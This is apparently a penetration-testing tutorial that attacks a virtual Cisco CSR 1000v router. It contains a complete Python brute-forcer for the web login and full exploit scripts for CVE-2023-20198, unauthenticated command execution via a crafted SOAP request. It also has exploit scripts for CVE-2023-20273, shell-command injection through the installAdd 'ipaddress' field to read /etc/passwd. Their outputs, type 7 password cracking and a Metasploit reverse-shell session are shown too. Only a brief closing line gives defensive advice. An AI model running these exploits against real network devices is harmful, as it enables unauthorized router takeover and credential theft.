Exploiting IOS-XE

Cisco IOS-XE is a version of Cisco’s Internetwork Operating System (IOS) that runs on Linux. IOS-XE can be used on both routers and switches.

In this article, we will be setting up a virtual Cloud Services Router 1000v (CSR 1000v), and exploiting it.


Configuring the Router

We can use VirtualBox to create a virtual router. Configure the virtual machine with the following parameters;

  • The operating system set to Debian (64-bit)
  • 16 GB of RAM
  • At least one virtio-net network adapter is attached, and set to bridged
  • Use ISO image csr1000v-universalk9.16.09.07.iso supplied by Cisco

When this boots, it should receive a DHCP address automatically. Next, configure the router to ensure the SSH and HTTPS administrative interfaces are enabled, and CDP is active on the network interface.

service config
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
platform qfp utilization monitor load 80
platform punt-keepalive disable-kernel-core
platform console virtual
hostname ciscoxe
boot-start-marker
boot-end-marker
enable password 7 104D000A0618
aaa new-model
aaa session-id common
ip domain name bordergate.local
login on-success log
subscriber templating
multilink bundle-name authenticated
crypto pki trustpoint TP-self-signed-3345638089
 enrollment selfsigned
 subject-name cn=IOS-Self-Signed-Certificate-3345638089
 revocation-check none
 rsakeypair TP-self-signed-3345638089
crypto pki certificate chain TP-self-signed-3345638089
 certificate self-signed 01
  30820330 30820218 A0030201 02020101 300D0609 2A864886 F70D0101 05050030 
<SNIP>
  	quit
license udi pid CSR1000V sn 97KULB7322G
no license smart enable
diagnostic bootup level minimal
spanning-tree extend system-id
username cisco password 7 14141B180F0B
redundancy
cdp run
interface GigabitEthernet1
 ip address dhcp
 negotiation auto
 cdp enable
 no mop enabled
 no mop sysid
ip forward-protocol nd
ip http server
ip http authentication local
ip http secure-server
ip http client source-interface GigabitEthernet1
ip ssh time-out 60
ip ssh authentication-retries 5
control-plane
line con 0
 stopbits 1
line vty 0 4
 transport input ssh
end

Software Version Enumeration

CDP packets sent from the device can be used to identify the software version in use.

sudo tshark -i eth0 -a duration:30 -V -f "ether host 01:00:0c:cc:cc:cc" -c 2 | grep -e "IP Address" -e "Device ID:" -e "Software version: Cisco IOS Software" -e "Port ID:"                   
Capturing on 'eth0'
    Device ID: ciscoxe.bordergate.local
        Device ID: ciscoxe.bordergate.local
        Software version: Cisco IOS Software [Fuji], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.9.7, RELEASE SOFTWARE (fc1)
            IP Address: 192.168.1.171
    Port ID: GigabitEthernet1

Web Interface Brute Force

The web interface just uses Basic Authentication which can easily be brute forced using some Python code.

import requests
from requests.auth import HTTPBasicAuth
import urllib3
import argparse
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(description="Cisco Web UI brute force")
parser.add_argument("url", help="Target URL (e.g. https://192.168.1.171/webui/index.html)")
parser.add_argument("username", help="Username to use for authentication")
parser.add_argument("password_file", help="Path to password list file")

args = parser.parse_args()

try:
    with open(args.password_file, "r") as f:
        passwords = [line.strip() for line in f if line.strip()]
except Exception as e:
    print(f"Error reading password file: {e}")
    sys.exit(1)

for pwd in passwords:
    print(f"[/] Trying password: {pwd}")
    try:
        res = requests.get(args.url, verify=False, auth=HTTPBasicAuth(args.username, pwd), timeout=5)
        
        if "Wrong Credentials" not in res.text:
            print(f"\n[+] Success! Password found: {pwd}")
            print(f"Status Code: {res.status_code}")
            break
        else:
            print("[-] Incorrect password.")
    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")

else:
    print("\n[-] None of the passwords worked.")

Running the script will identify default passwords.

python3 cisco_brute.py https://192.168.1.171/webui/index.html cisco /home/kali/passwords.txt
[/] Trying password: admin
[-] Incorrect password.
[/] Trying password: test
[-] Incorrect password.
[/] Trying password: password
[-] Incorrect password.
[/] Trying password: Password1
[-] Incorrect password.
[/] Trying password: cisco

[+] Success! Password found: cisco
Status Code: 200

By default, the web interface will only allow us to see basic performance metrics.


CVE-2023-20198

Cisco consider CVE-2023-20198 a critical vulnerability. By sending a specially crafted SOAP message, we can execute arbitrary commands on the router without authentication.

In this instance, we are using Python to send a “show run” command to the device, although this could also be used to add additional user accounts to the device. This exploit works up to IOS-XE version 17.12.

import requests
import urllib3
import argparse

#####################################################################################
# ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗#
# ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝#
# ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░#
# ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░#
# ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗#
# ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝#
#####################################################################################
#                              IOS-XE CVE-2023-20198                                #
#####################################################################################

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser(description="Exploit CVE-2023-20198")
parser.add_argument("host", help="Target IP or hostname (e.g., 192.168.1.171)")
args = parser.parse_args()

url = f"https://{args.host}/%2577ebui_wsma_https"

headers = {
    "Host": args.host,
    "Content-Type": "application/x-www-form-urlencoded",
    "Connection": "keep-alive"
}

soap_body = """<?xml version="1.0"?>
<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SOAP:Header>
    <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
      <wsse:UsernameToken SOAP:mustUnderstand="false">
        <wsse:Username>vty0</wsse:Username>
        <wsse:Password>*****</wsse:Password>
      </wsse:UsernameToken>
    </wsse:Security>
  </SOAP:Header>
  <SOAP:Body>
    <request correlator="BmNLXPsO" xmlns="urn:cisco:wsma-config">
      <configApply details="all" action-on-fail="continue">
        <config-data>
          <cli-config-data-block><![CDATA[exit
show run]]></cli-config-data-block>
        </config-data>
      </configApply>
    </request>
  </SOAP:Body>
</SOAP:Envelope>"""

try:
    response = requests.post(url, headers=headers, data=soap_body, verify=False, timeout=10)
    print("Status Code:", response.status_code)
    print("Response Body:\n", response.text)
except requests.RequestException as e:
    print("Request failed:", e)

Running the exploit provides us with the show run output.

python3 cisco_cve_2023_20198.py 192.168.1.171
Status Code: 200
Response Body:
 &lt;?xml version="1.0" encoding="UTF-8"?>&lt;SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">&lt;SOAP:Body>&lt;response xmlns="urn:cisco:wsma-config" correlator="BmNLXPsO" success="1">&lt;resultEntry lineNumber="1" cliString="exit">&lt;success change="NO_CHANGE" mode="IMMEDIATE" />&lt;/resultEntry>&lt;resultEntry lineNumber="2" cliString="show run">&lt;invalid />&lt;text>
**CLI Line # 2: Building configuration...
**CLI Line # 2: Current configuration : 3500 bytes
**CLI Line # 2: !
**CLI Line # 2: ! Last configuration change at 09:53:29 UTC Sat May 3 2025 by vty0
**CLI Line # 2: !
**CLI Line # 2: version 16.9
**CLI Line # 2: service config
**CLI Line # 2: service timestamps debug datetime msec
**CLI Line # 2: service timestamps log datetime msec
**CLI Line # 2: service password-encryption
**CLI Line # 2: platform qfp utilization monitor load 80
**CLI Line # 2: platform punt-keepalive disable-kernel-core
**CLI Line # 2: platform console virtual
**CLI Line # 2: !
**CLI Line # 2: hostname ciscoxe
**CLI Line # 2: !
**CLI Line # 2: boot-start-marker
**CLI Line # 2: boot-end-marker
**CLI Line # 2: !
**CLI Line # 2: !
**CLI Line # 2: enable password 7 104D000A0618
**CLI Line # 2: !
**CLI Line # 2: aaa new-model
**CLI Line # 2: aaa session-id common
**CLI Line # 2: ip domain name bordergate.local
**CLI Line # 2: login on-success log
**CLI Line # 2: subscriber templating
**CLI Line # 2: multilink bundle-name authenticated
**CLI Line # 2: crypto pki trustpoint TP-self-signed-3345638089
**CLI Line # 2:  enrollment selfsigned
**CLI Line # 2:  subject-name cn=IOS-Self-Signed-Certificate-3345638089
**CLI Line # 2:  revocation-check none
**CLI Line # 2:  rsakeypair TP-self-signed-3345638089
**CLI Line # 2: crypto pki certificate chain TP-self-signed-3345638089
**CLI Line # 2:  certificate self-signed 01
**CLI Line # 2:   30820330 30820218 A0030201 02020101 300D0609 2A864886 F70D0101 05050030 
**CLI Line # 2:   31312F30 2D060355 04031326 494F532D 53656C66 2D536967 6E65642D 43657274 
**CLI Line # 2:         quit
**CLI Line # 2: license udi pid CSR1000V sn 97KULB7322G
**CLI Line # 2: no license smart enable
**CLI Line # 2: diagnostic bootup level minimal
**CLI Line # 2: !
**CLI Line # 2: spanning-tree extend system-id
**CLI Line # 2: !
**CLI Line # 2: username cisco password 7 14141B180F0B
**CLI Line # 2: !
**CLI Line # 2: redundancy
**CLI Line # 2: cdp run
**CLI Line # 2: interface GigabitEthernet1
**CLI Line # 2:  ip address dhcp
**CLI Line # 2:  negotiation auto
**CLI Line # 2:  cdp enable
**CLI Line # 2:  no mop enabled
**CLI Line # 2:  no mop sysid
**CLI Line # 2: !
**CLI Line # 2: ip forward-protocol nd
**CLI Line # 2: ip http server
**CLI Line # 2: ip http authentication local
**CLI Line # 2: ip http secure-server
**CLI Line # 2: ip http client source-interface GigabitEthernet1
**CLI Line # 2: !
**CLI Line # 2: ip ssh time-out 60
**CLI Line # 2: ip ssh authentication-retries 5
**CLI Line # 2: control-plane
**CLI Line # 2: line con 0
**CLI Line # 2:  stopbits 1
**CLI Line # 2: line vty 0 4
**CLI Line # 2:  transport input ssh
&lt;/text>&lt;/resultEntry>&lt;/response>&lt;/SOAP:Body>&lt;/SOAP:Envelope>

We can then use cisco7crack to decode the type 7 passwords.

cisco7crack 14141B180F0B
Encrypted string : 14141B180F0B
Plain string     : cisco

CVE-2023-20273

CVE-2023-20273 allows you to get a Linux shell access to a device. It requires authentication credentials, although those can be added using the previous exploit. Although this should support earlier versions of IOS-XE, I didn’t have much luck on 16.09, so switched to 17.03 (csr1000v-universalk9.17.03.04a.iso).

The below Python script exploits this vulnerability (using hard-coded credentials cisco:cisco).

import requests
import argparse
import urllib3
import random
import string
import base64


#####################################################################################
# ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗#
# ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝#
# ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░#
# ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░#
# ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗#
# ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝#
#####################################################################################
#                              IOS-XE CVE-2023-20273                                #
#####################################################################################

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_random_filename(length=8):
    return ''.join(random.choices(string.ascii_letters, k=length))

parser = argparse.ArgumentParser(description="Exploit CVE-2023-20273")
parser.add_argument("host", help="Target IP or hostname (e.g., 192.168.1.172)")
args = parser.parse_args()

command = 'cat /etc/passwd'
b64command = base64.b64encode(command.encode()).decode()

base_url = f"https://{args.host}"
filename = generate_random_filename()
headers_common = {
    "Authorization": "Basic Y2lzY286Y2lzY28=",
    "Connection": "keep-alive"
}

# === REQUEST 1 ===
post_url = f"{base_url}/webui/rest/softwareMgmt/installAdd"
headers_post = headers_common.copy()
headers_post["Content-Type"] = "application/x-www-form-urlencoded"

post_data = f"""
{{
  "installMethod": "tftp",
  "mode": "tftp",
  "ipaddress": "472f:d39a:0f4f:$($(openssl enc -base64 -d <<< {b64command}) &> /var/www/{filename})",
  "operation_type": "SMU",
  "filePath": "ZMqIqcNx",
  "fileSystem": "flash:"
}}
""".strip()

try:
    print("Sending POST request...")
    post_resp = requests.post(post_url, headers=headers_post, data=post_data, verify=False, timeout=10)
    print("POST Response Status:", post_resp.status_code)
    print("POST Response Body:\n", post_resp.text)
except requests.RequestException as e:
    print("POST request failed:", e)

# === REQUEST 2 ===
get_url = f"{base_url}/webui/{filename}"

try:
    print(f"\nSending GET request to /webui/{filename} ...")
    get_resp = requests.get(get_url, headers=headers_common, verify=False, timeout=10)
    print("GET Response Status:", get_resp.status_code)
    print("GET Response Body:\n", get_resp.text)
except requests.RequestException as e:
    print("GET request failed:", e)

python3 cisco_cve_2023_20273.py 192.168.1.172
Sending POST request...
POST Response Status: 200
POST Response Body:
 

Sending GET request to /webui/ycGBbBzo ...
GET Response Status: 200
GET Response Body:
 root:*:0:0:root:/root:/bin/bash
binos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
messagebus:x:998:997::/var/lib/dbus:/bin/false
avahi:x:997:996::/var/run/avahi-daemon:/bin/false
avahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/false
guestshell:!:1000:1000::/home/guestshell:
dockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin


Metasploit

Both of the previous exploits are available in Metasploit, and can be executed together using the cisco_ios_xe_rce module.

msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.1.172
RHOSTS => 192.168.1.172
msf6 exploit(linux/misc/cisco_ios_xe_rce) > run
[*] Started reverse TCP handler on 192.168.1.192:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.04a
[*] Created privilege 15 user 'ziXrKJyi' with password 'oPDgLdxC'
[*] Removing user 'ziXrKJyi'
[*] Sending stage (3045380 bytes) to 192.168.1.172

[*] Meterpreter session 1 opened (192.168.1.192:4444 -> 192.168.1.172:56668) at 2025-05-03 11:33:28 +0100

meterpreter > 
meterpreter > sysinfo
Computer     : Router
OS           :  (Linux 4.19.184)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 


In Conclusion

Although the exploits discussed in this article are a few years old now, in my experience networking equipment software doesn’t get frequently upgraded. I would recommend restricting access to the administrative interfaces of networking equipment to prevent similar vulnerabilities.